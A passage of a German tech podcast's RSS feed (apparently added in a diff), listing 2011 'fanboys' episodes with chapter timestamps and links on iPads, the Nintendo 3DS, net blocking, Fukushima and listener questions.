+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:01:34</td><td>@RegSprech</td></tr><tr><td>00:02:36</td><td><a href="http://area5.tv/blog/area-5-presents-atomix-the-worlds-first-videogame-magazine-d.html" target="_blank">AtomixMag</td></tr><tr><td>00:04:45</td><td><a href="http://www.youtube.com/watch?v=kI5HSf3SXPc" target="_blank">COOP</td></tr><tr><td>00:17:56</td><td><a href="http://www.fscklog.com/2011/04/ipad-2-online-bestellung-prepared-for-shipment.html" target="_blank">iPad 2 wird verschickt</td></tr><tr><td>00:19:17</td><td><a href="http://crave.cnet.co.uk/laptops/backberry-playbook-delayed-as-apple-ipad-squirrels-away-all-the-screens-50003454/" target="_blank">Playbook verspätet sich</td></tr><tr><td>00:20:10</td><td><a href="http://itunes.apple.com/us/app/iad-gallery/id424733624?mt=8" target="_blank">iAd Gallery</td></tr><tr><td>00:22:45</td><td><a href="http://www.youtube.com/watch?v=tyEpaPEbjzI" target="_blank">Neue iPad Werbung</td></tr><tr><td>00:24:12</td><td><a href="http://www.youtube.com/watch?v=4dutqviBn4Q" target="_blank">The Power To Be Your Best</td></tr><tr><td>00:28:05</td><td><a href="http://lesmond.net/2011/04/3-months-in-comparison-between-ios-android-and-windows-phone-sales/" target="_blank">Android, Windows Phone 7 und iOS Verkaufszahlen</td></tr><tr><td>00:28:29</td><td><a href="http://itunes.apple.com/de/app/plane-finder/id336477530?mt=8" target="_blank">PlaneFinder</td></tr><tr><td>00:31:32</td><td><a href="http://www.tagesschau.de/inland/internetsperren118.html" target="_blank">Netzsperren sind tot</td></tr><tr><td>00:34:37</td><td><a href="http://blog.die-linke.de/digitalelinke/glucksspielstaatsvertrag-ministerprasidenten-beschliesen-erneut-internetsperren/" target="_blank">… oder auch nicht</td></tr><tr><td>00:38:40</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,755158,00.html" target="_blank">Mindestdatenspeicherung</td></tr><tr><td>00:40:51</td><td><a href="http://www.sueddeutsche.de/karriere/gutachten-zu-plagiatsaffaere-guttenberg-anwalt-attackiert-uni-bayreuth-1.1083447" target="_blank">Gutti Update</td></tr><tr><td>00:42:32</td><td><a href="http://audioboo.fm/boos/324044-frage-zu-protocols" target="_blank">Hörerfrage zu @protocol</td></tr><tr><td>00:48:43</td><td><a href="http://audioboo.fm/boos/323401-audiokommentar-von-david-aus-munchen" target="_blank">Hörerfrage zu Versionskontrolle</td></tr><tr><td>00:54:28</td><td><a href="http://audioboo.fm/boos/319405-macbook-pro-geshoppt-hitze-selfplug" target="_blank">Hörerfrage zu MBP Temperatur</td></tr><tr><td>01:00:40</td><td><a href="http://www.playingcolumbine.com/" target="_blank">Playing Columbine</td></tr><tr><td>01:03:56</td><td><a href="http://www.thedailyshow.com/full-episodes/thu-april-7-2011-jamie-oliver" target="_blank">Glenn Beck Parodie in der Daily Show</td></tr><tr><td>01:05:24</td><td><a href="http://en.wikipedia.org/wiki/Jamie_Oliver%27s_Food_Revolution" target="_blank">Jamie's Kitchen</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:34" title="@RegSprech" />
+ <sc:chapter start="00:02:36" title="AtomixMag" href="http://area5.tv/blog/area-5-presents-atomix-the-worlds-first-videogame-magazine-d.html" />
+ <sc:chapter start="00:04:45" title="COOP" href="http://www.youtube.com/watch?v=kI5HSf3SXPc" />
+ <sc:chapter start="00:17:56" title="iPad 2 wird verschickt" href="http://www.fscklog.com/2011/04/ipad-2-online-bestellung-prepared-for-shipment.html" />
+ <sc:chapter start="00:19:17" title="Playbook verspätet sich" href="http://crave.cnet.co.uk/laptops/backberry-playbook-delayed-as-apple-ipad-squirrels-away-all-the-screens-50003454/" />
+ <sc:chapter start="00:20:10" title="iAd Gallery" href="http://itunes.apple.com/us/app/iad-gallery/id424733624?mt=8" />
+ <sc:chapter start="00:22:45" title="Neue iPad Werbung" href="http://www.youtube.com/watch?v=tyEpaPEbjzI" />
+ <sc:chapter start="00:24:12" title="The Power To Be Your Best" href="http://www.youtube.com/watch?v=4dutqviBn4Q" />
+ <sc:chapter start="00:28:05" title="Android, Windows Phone 7 und iOS Verkaufszahlen" href="http://lesmond.net/2011/04/3-months-in-comparison-between-ios-android-and-windows-phone-sales/" />
+ <sc:chapter start="00:28:29" title="PlaneFinder" href="http://itunes.apple.com/de/app/plane-finder/id336477530?mt=8" />
+ <sc:chapter start="00:31:32" title="Netzsperren sind tot" href="http://www.tagesschau.de/inland/internetsperren118.html" />
+ <sc:chapter start="00:34:37" title="… oder auch nicht" href="http://blog.die-linke.de/digitalelinke/glucksspielstaatsvertrag-ministerprasidenten-beschliesen-erneut-internetsperren/" />
+ <sc:chapter start="00:38:40" title="Mindestdatenspeicherung" href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,755158,00.html" />
+ <sc:chapter start="00:40:51" title="Gutti Update" href="http://www.sueddeutsche.de/karriere/gutachten-zu-plagiatsaffaere-guttenberg-anwalt-attackiert-uni-bayreuth-1.1083447" />
+ <sc:chapter start="00:42:32" title="Hörerfrage zu @protocol" href="http://audioboo.fm/boos/324044-frage-zu-protocols" />
+ <sc:chapter start="00:48:43" title="Hörerfrage zu Versionskontrolle" href="http://audioboo.fm/boos/323401-audiokommentar-von-david-aus-munchen" />
+ <sc:chapter start="00:54:28" title="Hörerfrage zu MBP Temperatur" href="http://audioboo.fm/boos/319405-macbook-pro-geshoppt-hitze-selfplug" />
+ <sc:chapter start="01:00:40" title="Playing Columbine" href="http://www.playingcolumbine.com/" />
+ <sc:chapter start="01:03:56" title="Glenn Beck Parodie in der Daily Show" href="http://www.thedailyshow.com/full-episodes/thu-april-7-2011-jamie-oliver" />
+ <sc:chapter start="01:05:24" title="Jamie's Kitchen" href="http://en.wikipedia.org/wiki/Jamie_Oliver%27s_Food_Revolution" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#14:" />
+ </item>
+ <item>
+ <title>Episode #13 - Darf ich sie an die Bheke titten?</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Darf ich sie an die Bheke titten?</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN013.mp3" length="37375163" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN013</guid>
+ <pubDate>Fri, 01 Apr 2011 20:01:37 +0200</pubDate>
+ <itunes:duration>01:17:51</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:13 Und Martin
+00:00:53 RTL Samstag Nacht
+00:01:09 3DS nach einer Woche
+00:06:27 Twitter schafft die #dickbar ab
+00:09:37 iPad 2 nach einer Woche
+00:16:48 WWDC in 10 Stunden ausverkauft
+00:23:34 Honeycomb, Android und die "Openness"
+00:30:48 @RegSprecher
+00:40:47 Nicolas Semak spricht mit Herrn Pflugbeil über Fukushima
+00:48:43 SSD iops Frage
+00:55:15 loreumpixum
+00:58:56 iPhone Sync Problem
+01:05:17 Tiny Wings mit Game Center
+01:07:57 Boxer
+01:12:18 "Above all, no polling"
+01:14:10 Der Lautsprecher
+01:15:51 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="https://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="https://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:53</td><td><a href="http://www.youtube.com/watch?v=VUxy9Hg-pnY" target="_blank">RTL Samstag Nacht</td></tr><tr><td>00:01:09</td><td>3DS nach einer Woche</td></tr><tr><td>00:06:27</td><td><a href="http://blog.twitter.com/2011/03/so-bar-walks-into-app.html" target="_blank">Twitter schafft die #dickbar ab</td></tr><tr><td>00:09:37</td><td><a href="http://www.apple.com/de/ipad/" target="_blank">iPad 2 nach einer Woche</td></tr><tr><td>00:16:48</td><td><a href="http://developer.apple.com/wwdc/" target="_blank">WWDC in 10 Stunden ausverkauft</td></tr><tr><td>00:23:34</td><td><a href="http://www.businessweek.com/magazine/content/11_15/b4223041200216.htm" target="_blank">Honeycomb, Android und die "Openness"</td></tr><tr><td>00:30:48</td><td><a href="http://vimeo.com/21654630" target="_blank">@RegSprecher</td></tr><tr><td>00:40:47</td><td><a href="http://nicolassemak.de/2011/03/podcast-nsp01-fukushima-atomkraft/" target="_blank">Nicolas Semak spricht mit Herrn Pflugbeil über Fukushima</td></tr><tr><td>00:48:43</td><td><a href="http://audioboo.fm/boos/315399-ssd-iops-zu-mbit-s" target="_blank">SSD iops Frage</td></tr><tr><td>00:55:15</td><td><a href="http://lorempixum.com/" target="_blank">loreumpixum</td></tr><tr><td>00:58:56</td><td><a href="http://audioboo.fm/boos/316514-iphone-sync-probleme" target="_blank">iPhone Sync Problem</td></tr><tr><td>01:05:17</td><td><a href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" target="_blank">Tiny Wings mit Game Center</td></tr><tr><td>01:07:57</td><td><a href="http://boxerapp.com/" target="_blank">Boxer</td></tr><tr><td>01:12:18</td><td>"Above all, no polling"</td></tr><tr><td>01:14:10</td><td><a href="http://tim.geekheim.de/category/podcast/lautsprecher/" target="_blank">Der Lautsprecher</td></tr><tr><td>01:15:51</td><td><a href="http://www.youtube.com/watch?v=p91o7xOeLrE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="https://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="Und Martin" href="https://twitter.com/map" />
+ <sc:chapter start="00:00:53" title="RTL Samstag Nacht" href="http://www.youtube.com/watch?v=VUxy9Hg-pnY" />
+ <sc:chapter start="00:01:09" title="3DS nach einer Woche" />
+ <sc:chapter start="00:06:27" title="Twitter schafft die #dickbar ab" href="http://blog.twitter.com/2011/03/so-bar-walks-into-app.html" />
+ <sc:chapter start="00:09:37" title="iPad 2 nach einer Woche" href="http://www.apple.com/de/ipad/" />
+ <sc:chapter start="00:16:48" title="WWDC in 10 Stunden ausverkauft" href="http://developer.apple.com/wwdc/" />
+ <sc:chapter start="00:23:34" title="Honeycomb, Android und die &amp;quot;Openness&amp;quot;" href="http://www.businessweek.com/magazine/content/11_15/b4223041200216.htm" />
+ <sc:chapter start="00:30:48" title="@RegSprecher" href="http://vimeo.com/21654630" />
+ <sc:chapter start="00:40:47" title="Nicolas Semak spricht mit Herrn Pflugbeil über Fukushima" href="http://nicolassemak.de/2011/03/podcast-nsp01-fukushima-atomkraft/" />
+ <sc:chapter start="00:48:43" title="SSD iops Frage" href="http://audioboo.fm/boos/315399-ssd-iops-zu-mbit-s" />
+ <sc:chapter start="00:55:15" title="loreumpixum" href="http://lorempixum.com/" />
+ <sc:chapter start="00:58:56" title="iPhone Sync Problem" href="http://audioboo.fm/boos/316514-iphone-sync-probleme" />
+ <sc:chapter start="01:05:17" title="Tiny Wings mit Game Center" href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" />
+ <sc:chapter start="01:07:57" title="Boxer" href="http://boxerapp.com/" />
+ <sc:chapter start="01:12:18" title="&amp;quot;Above all, no polling&amp;quot;" />
+ <sc:chapter start="01:14:10" title="Der Lautsprecher" href="http://tim.geekheim.de/category/podcast/lautsprecher/" />
+ <sc:chapter start="01:15:51" title="Rausschmeisser" href="http://www.youtube.com/watch?v=p91o7xOeLrE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#13:" />
+ </item>
+ <item>
+ <title>Episode #12 - Der Verpincher</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Der Verpincher</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN012.mp3" length="47187381" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN012</guid>
+ <pubDate>Sat, 26 Mar 2011 20:06:39 +0100</pubDate>
+ <itunes:duration>01:38:18</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:06 Mit Dominik
+00:00:11 Und Martin
+00:00:28 iPad 2
+00:01:08 Onlinebestellungserfahrungen
+00:04:32 Münchner Schlangenexperience
+00:11:29 iPad 2 Eindrücke
+00:19:06 Bertrand Serlet verlässt Apple
+00:26:22 Exkurs: EOF und WebObjects
+00:31:42 Goldener Meister Zwo Drei Vier
+00:34:41 3DS Gejammere
+00:35:46 Spielearmut
+00:36:44 Das dickste Handbuch der Welt
+00:37:32 Von Farben und deren Wahrnehmung
+00:38:53 Setup und UI
+00:43:43 Kameras-Apps
+00:45:35 Mii mii mii mii
+00:49:06 Nur noch ein Freundescode!
+00:54:50 Notifications
+00:58:02 Phantombrowser
+00:59:39 eShop
+01:01:27 DS Spiele auf dem 3DS
+01:03:09 Teleskop-Stift
+01:05:07 Face Raiders
+01:07:24 Augmented Reality
+01:09:35 Fazit
+01:11:24 Sword and Sworcery EP
+01:19:05 Audiokommentar: Schlafloser Mac
+01:22:54 Audiokommentar: MBP Details
+01:27:38 3DS Preis
+01:28:08 Anti-AKW Demo
+01:29:28 Fukushima Berichterstattung
+01:32:19 Filmtipp: Into Eternity
+01:38:10 Rausschmeisserchen
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:06</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:28</td><td><a href="http://www.apple.com/de/ipad/" target="_blank">iPad 2</td></tr><tr><td>00:01:08</td><td>Onlinebestellungserfahrungen</td></tr><tr><td>00:04:32</td><td>Münchner Schlangenexperience</td></tr><tr><td>00:11:29</td><td>iPad 2 Eindrücke</td></tr><tr><td>00:19:06</td><td><a href="http://www.apple.com/pr/library/2011/03/23serlet.html" target="_blank">Bertrand Serlet verlässt Apple</td></tr><tr><td>00:26:22</td><td><a href="http://en.wikipedia.org/wiki/WebObjects" target="_blank">Exkurs: EOF und WebObjects</td></tr><tr><td>00:31:42</td><td><a href="http://www.macrumors.com/2011/03/25/apple-already-nearing-golden-master-candidate-versions-of-mac-os-x-lion/" target="_blank">Goldener Meister Zwo Drei Vier</td></tr><tr><td>00:34:41</td><td><a href="http://en.wikipedia.org/wiki/Nintendo_3DS" target="_blank">3DS Gejammere</td></tr><tr><td>00:35:46</td><td>Spielearmut</td></tr><tr><td>00:36:44</td><td>Das dickste Handbuch der Welt</td></tr><tr><td>00:37:32</td><td>Von Farben und deren Wahrnehmung</td></tr><tr><td>00:38:53</td><td>Setup und UI</td></tr><tr><td>00:43:43</td><td>Kameras-Apps</td></tr><tr><td>00:45:35</td><td>Mii mii mii mii</td></tr><tr><td>00:49:06</td><td>Nur noch ein Freundescode!</td></tr><tr><td>00:54:50</td><td>Notifications</td></tr><tr><td>00:58:02</td><td>Phantombrowser</td></tr><tr><td>00:59:39</td><td>eShop</td></tr><tr><td>01:01:27</td><td>DS Spiele auf dem 3DS</td></tr><tr><td>01:03:09</td><td>Teleskop-Stift</td></tr><tr><td>01:05:07</td><td>Face Raiders</td></tr><tr><td>01:07:24</td><td>Augmented Reality</td></tr><tr><td>01:09:35</td><td>Fazit</td></tr><tr><td>01:11:24</td><td><a href="http://www.swordandsworcery.com/" target="_blank">Sword and Sworcery EP</td></tr><tr><td>01:19:05</td><td><a href="http://audioboo.fm/boos/308696-audikommentar-fur-die-fanboys" target="_blank">Audiokommentar: Schlafloser Mac</td></tr><tr><td>01:22:54</td><td><a href="http://audioboo.fm/boos/308676-2-fragen-bezuglich-des-neuen-macbook-pro-s" target="_blank">Audiokommentar: MBP Details</td></tr><tr><td>01:27:38</td><td>3DS Preis</td></tr><tr><td>01:28:08</td><td><a href="http://anti-atom-demo.de/" target="_blank">Anti-AKW Demo</td></tr><tr><td>01:29:28</td><td>Fukushima Berichterstattung</td></tr><tr><td>01:32:19</td><td><a href="http://en.wikipedia.org/wiki/Into_Eternity_(documentary)" target="_blank">Filmtipp: Into Eternity</td></tr><tr><td>01:38:10</td><td>Rausschmeisserchen</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:06" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:28" title="iPad 2" href="http://www.apple.com/de/ipad/" />
+ <sc:chapter start="00:01:08" title="Onlinebestellungserfahrungen" />
+ <sc:chapter start="00:04:32" title="Münchner Schlangenexperience" />
+ <sc:chapter start="00:11:29" title="iPad 2 Eindrücke" />
+ <sc:chapter start="00:19:06" title="Bertrand Serlet verlässt Apple" href="http://www.apple.com/pr/library/2011/03/23serlet.html" />
+ <sc:chapter start="00:26:22" title="Exkurs: EOF und WebObjects" href="http://en.wikipedia.org/wiki/WebObjects" />
+ <sc:chapter start="00:31:42" title="Goldener Meister Zwo Drei Vier" href="http://www.macrumors.com/2011/03/25/apple-already-nearing-golden-master-candidate-versions-of-mac-os-x-lion/" />
+ <sc:chapter start="00:34:41" title="3DS Gejammere" href="http://en.wikipedia.org/wiki/Nintendo_3DS" />
+ <sc:chapter start="00:35:46" title="Spielearmut" />
+ <sc:chapter start="00:36:44" title="Das dickste Handbuch der Welt" />
+ <sc:chapter start="00:37:32" title="Von Farben und deren Wahrnehmung" />
+ <sc:chapter start="00:38:53" title="Setup und UI" />
+ <sc:chapter start="00:43:43" title="Kameras-Apps" />
+ <sc:chapter start="00:45:35" title="Mii mii mii mii" />
+ <sc:chapter start="00:49:06" title="Nur noch ein Freundescode!" />
+ <sc:chapter start="00:54:50" title="Notifications" />
+ <sc:chapter start="00:58:02" title="Phantombrowser" />
+ <sc:chapter start="00:59:39" title="eShop" />
+ <sc:chapter start="01:01:27" title="DS Spiele auf dem 3DS" />
+ <sc:chapter start="01:03:09" title="Teleskop-Stift" />
+ <sc:chapter start="01:05:07" title="Face Raiders" />
+ <sc:chapter start="01:07:24" title="Augmented Reality" />
+ <sc:chapter start="01:09:35" title="Fazit" />
+ <sc:chapter start="01:11:24" title="Sword and Sworcery EP" href="http://www.swordandsworcery.com/" />
+ <sc:chapter start="01:19:05" title="Audiokommentar: Schlafloser Mac" href="http://audioboo.fm/boos/308696-audikommentar-fur-die-fanboys" />
+ <sc:chapter start="01:22:54" title="Audiokommentar: MBP Details" href="http://audioboo.fm/boos/308676-2-fragen-bezuglich-des-neuen-macbook-pro-s" />
+ <sc:chapter start="01:27:38" title="3DS Preis" />
+ <sc:chapter start="01:28:08" title="Anti-AKW Demo" href="http://anti-atom-demo.de/" />
+ <sc:chapter start="01:29:28" title="Fukushima Berichterstattung" />
+ <sc:chapter start="01:32:19" title="Filmtipp: Into Eternity" href="http://en.wikipedia.org/wiki/Into_Eternity_(documentary)" />
+ <sc:chapter start="01:38:10" title="Rausschmeisserchen" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#12:" />
+ </item>
+ <item>
+ <title>Episode #11 - Krieg mit Ozeanien</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Krieg mit Ozeanien</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN011.mp3" length="45383808" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN011</guid>
+ <pubDate>Fri, 18 Mar 2011 20:49:22 +0100</pubDate>
+ <itunes:duration>01:34:32</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:11 und Martin
+00:00:40 Errata
+00:01:01 Watcom
+00:01:48 Planet Money
+00:02:40 "Jungs"
+00:03:58 Fukushima
+00:12:41 "Why I’m not worried"
+00:17:27 Quarks und Co
+00:17:58 Abenteuer Forschung
+00:18:32 Übrigens…
+00:20:30 Elementarfragen Tschernobyl
+00:22:19 Elementare Fragen
+00:24:01 Das verdrängte Risko
+00:26:21 Krieg mit Ozeanien
+00:43:35 Greenpeace Japan
+00:43:47 Joi Ito
+00:45:28 Trans-Pacific Partnership Agreement
+00:47:24 P.J. Crowley nimmt Hut wegen Aussagen zu Bradley Manning
+00:51:48 iPad 2 ausverkauft usw.
+00:52:37 Twitter vs 3rd Party
+00:56:04 Microsoft schafft Zune ab
+00:57:46 und den Sidekick auch
+00:59:43 Audiokommentar von Stefan
+01:09:29 Email von Marta
+01:12:45 Audiokommentar von Paddy
+01:20:29 Email von Frederic
+01:23:00 Audiokommentar von Jonas
+01:27:08 Masters of the Void
+01:28:11 The Show with Ze Frank
+01:30:57 Place Kitten
+01:33:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="https://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="https://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:40</td><td>Errata</td></tr><tr><td>00:01:01</td><td><a href="http://en.wikipedia.org/wiki/Watcom" target="_blank">Watcom</td></tr><tr><td>00:01:48</td><td><a href="http://www.npr.org/blogs/money/" target="_blank">Planet Money</td></tr><tr><td>00:02:40</td><td>"Jungs"</td></tr><tr><td>00:03:58</td><td>Fukushima</td></tr><tr><td>00:12:41</td><td><a href="http://geniusnow.com/2011/03/15/the-strange-case-of-josef-oehmen/" target="_blank">"Why I’m not worried"</td></tr><tr><td>00:17:27</td><td><a href="http://medien.wdr.de/download/1300219200/quarks/wdr_fernsehen_quarks_und_co_20110315.mp4" target="_blank">Quarks und Co</td></tr><tr><td>00:17:58</td><td><a href="http://www.zdf.de/ZDFmediathek/beitrag/video/1273996/Restrisiko-Atomkraft?flash=off" target="_blank">Abenteuer Forschung</td></tr><tr><td>00:18:32</td><td><a href="http://kre.is/5KKU" target="_blank">Übrigens…</td></tr><tr><td>00:20:30</td><td><a href="http://elementarfragen.de/2010/06/ef03-tschernobyl/" target="_blank">Elementarfragen Tschernobyl</td></tr><tr><td>00:22:19</td><td><a href="http://twitter.com/elementarfragen/status/48744836580388864" target="_blank">Elementare Fragen</td></tr><tr><td>00:24:01</td><td><a href="http://www.zdf.de/ZDFmediathek/beitrag/video/1287058/Das-verdraengte-Risiko" target="_blank">Das verdrängte Risko</td></tr><tr><td>00:26:21</td><td><a href="http://en.wikipedia.org/wiki/Nineteen_Eighty-Four#The_War" target="_blank">Krieg mit Ozeanien</td></tr><tr><td>00:43:35</td><td><a href="https://twitter.com/gpjen" target="_blank">Greenpeace Japan</td></tr><tr><td>00:43:47</td><td><a href="https://twitter.com/joi" target="_blank">Joi Ito</td></tr><tr><td>00:45:28</td><td><a href="http://www.boingboing.net/2011/03/12/america-fields-son-o.html" target="_blank">Trans-Pacific Partnership Agreement</td></tr><tr><td>00:47:24</td><td><a href="http://thecable.foreignpolicy.com/posts/2011/03/13/crowley_resigns_over_manning_remarks?wpisrc=obinsite" target="_blank">P.J. Crowley nimmt Hut wegen Aussagen zu Bradley Manning</td></tr><tr><td>00:51:48</td><td>iPad 2 ausverkauft usw.</td></tr><tr><td>00:52:37</td><td><a href="http://www.guardian.co.uk/technology/blog/2011/mar/14/twitter-developers-client-warning" target="_blank">Twitter vs 3rd Party</td></tr><tr><td>00:56:04</td><td><a href="http://www.pcmag.com/article2/0,2817,2381945,00.asp" target="_blank">Microsoft schafft Zune ab</td></tr><tr><td>00:57:46</td><td><a href="http://en.wikipedia.org/wiki/T-Mobile_Sidekick#Danger_cloud_service_discontinued" target="_blank">und den Sidekick auch</td></tr><tr><td>00:59:43</td><td><a href="http://audioboo.fm/boos/301149-frage-an-die-fanb0ys" target="_blank">Audiokommentar von Stefan</td></tr><tr><td>01:09:29</td><td>Email von Marta</td></tr><tr><td>01:12:45</td><td><a href="http://audioboo.fm/boos/300856-ah-ah-ah" target="_blank">Audiokommentar von Paddy</td></tr><tr><td>01:20:29</td><td>Email von Frederic</td></tr><tr><td>01:23:00</td><td><a href="http://audioboo.fm/boos/300628-xcode-und-objective-c-developement" target="_blank">Audiokommentar von Jonas</td></tr><tr><td>01:27:08</td><td><a href="http://masters-of-the-void.com/" target="_blank">Masters of the Void</td></tr><tr><td>01:28:11</td><td><a href="http://twitter.com/zefrank/status/48449899242594304" target="_blank">The Show with Ze Frank</td></tr><tr><td>01:30:57</td><td><a href="http://placekitten.com/" target="_blank">Place Kitten</td></tr><tr><td>01:33:02</td><td><a href="http://www.zefrank.com/zesblog/archives/2007/11/songs_you_alrea.html" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="https://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="und Martin" href="https://twitter.com/map" />
+ <sc:chapter start="00:00:40" title="Errata" />
+ <sc:chapter start="00:01:01" title="Watcom" href="http://en.wikipedia.org/wiki/Watcom" />
+ <sc:chapter start="00:01:48" title="Planet Money" href="http://www.npr.org/blogs/money/" />
+ <sc:chapter start="00:02:40" title="&amp;quot;Jungs&amp;quot;" />
+ <sc:chapter start="00:03:58" title="Fukushima" />
+ <sc:chapter start="00:12:41" title="&amp;quot;Why I’m not worried&amp;quot;" href="http://geniusnow.com/2011/03/15/the-strange-case-of-josef-oehmen/" />
+ <sc:chapter start="00:17:27" title="Quarks und Co" href="http://medien.wdr.de/download/1300219200/quarks/wdr_fernsehen_quarks_und_co_20110315.mp4" />
+ <sc:chapter start="00:17:58" title="Abenteuer Forschung" href="http://www.zdf.de/ZDFmediathek/beitrag/video/1273996/Restrisiko-Atomkraft?flash=off" />
+ <sc:chapter start="00:18:32" title="Übrigens…" href="http://kre.is/5KKU" />
+ <sc:chapter start="00:20:30" title="Elementarfragen Tschernobyl" href="http://elementarfragen.de/2010/06/ef03-tschernobyl/" />
+ <sc:chapter start="00:22:19" title="Elementare Fragen" href="http://twitter.com/elementarfragen/status/48744836580388864" />
+ <sc:chapter start="00:24:01" title="Das verdrängte Risko" href="http://www.zdf.de/ZDFmediathek/beitrag/video/1287058/Das-verdraengte-Risiko" />
+ <sc:chapter start="00:26:21" title="Krieg mit Ozeanien" href="http://en.wikipedia.org/wiki/Nineteen_Eighty-Four#The_War" />
+ <sc:chapter start="00:43:35" title="Greenpeace Japan" href="https://twitter.com/gpjen" />
+ <sc:chapter start="00:43:47" title="Joi Ito" href="https://twitter.com/joi" />
+ <sc:chapter start="00:45:28" title="Trans-Pacific Partnership Agreement" href="http://www.boingboing.net/2011/03/12/america-fields-son-o.html" />
+ <sc:chapter start="00:47:24" title="P.J. Crowley nimmt Hut wegen Aussagen zu Bradley Manning" href="http://thecable.foreignpolicy.com/posts/2011/03/13/crowley_resigns_over_manning_remarks?wpisrc=obinsite" />
+ <sc:chapter start="00:51:48" title="iPad 2 ausverkauft usw." />
+ <sc:chapter start="00:52:37" title="Twitter vs 3rd Party" href="http://www.guardian.co.uk/technology/blog/2011/mar/14/twitter-developers-client-warning" />
+ <sc:chapter start="00:56:04" title="Microsoft schafft Zune ab" href="http://www.pcmag.com/article2/0,2817,2381945,00.asp" />
+ <sc:chapter start="00:57:46" title="und den Sidekick auch" href="http://en.wikipedia.org/wiki/T-Mobile_Sidekick#Danger_cloud_service_discontinued" />
+ <sc:chapter start="00:59:43" title="Audiokommentar von Stefan" href="http://audioboo.fm/boos/301149-frage-an-die-fanb0ys" />
+ <sc:chapter start="01:09:29" title="Email von Marta" />
+ <sc:chapter start="01:12:45" title="Audiokommentar von Paddy" href="http://audioboo.fm/boos/300856-ah-ah-ah" />
+ <sc:chapter start="01:20:29" title="Email von Frederic" />
+ <sc:chapter start="01:23:00" title="Audiokommentar von Jonas" href="http://audioboo.fm/boos/300628-xcode-und-objective-c-developement" />
+ <sc:chapter start="01:27:08" title="Masters of the Void" href="http://masters-of-the-void.com/" />
+ <sc:chapter start="01:28:11" title="The Show with Ze Frank" href="http://twitter.com/zefrank/status/48449899242594304" />
+ <sc:chapter start="01:30:57" title="Place Kitten" href="http://placekitten.com/" />
+ <sc:chapter start="01:33:02" title="Rausschmeisser" href="http://www.zefrank.com/zesblog/archives/2007/11/songs_you_alrea.html" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#11:" />
+ </item>
+ <item>
+ <title>Episode #10 - Tri-Winning!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Tri-Winning!</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN010.mp3" length="36409472" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN010</guid>
+ <pubDate>Thu, 10 Mar 2011 19:52:02 +0100</pubDate>
+ <itunes:duration>01:15:51</itunes:duration>
+
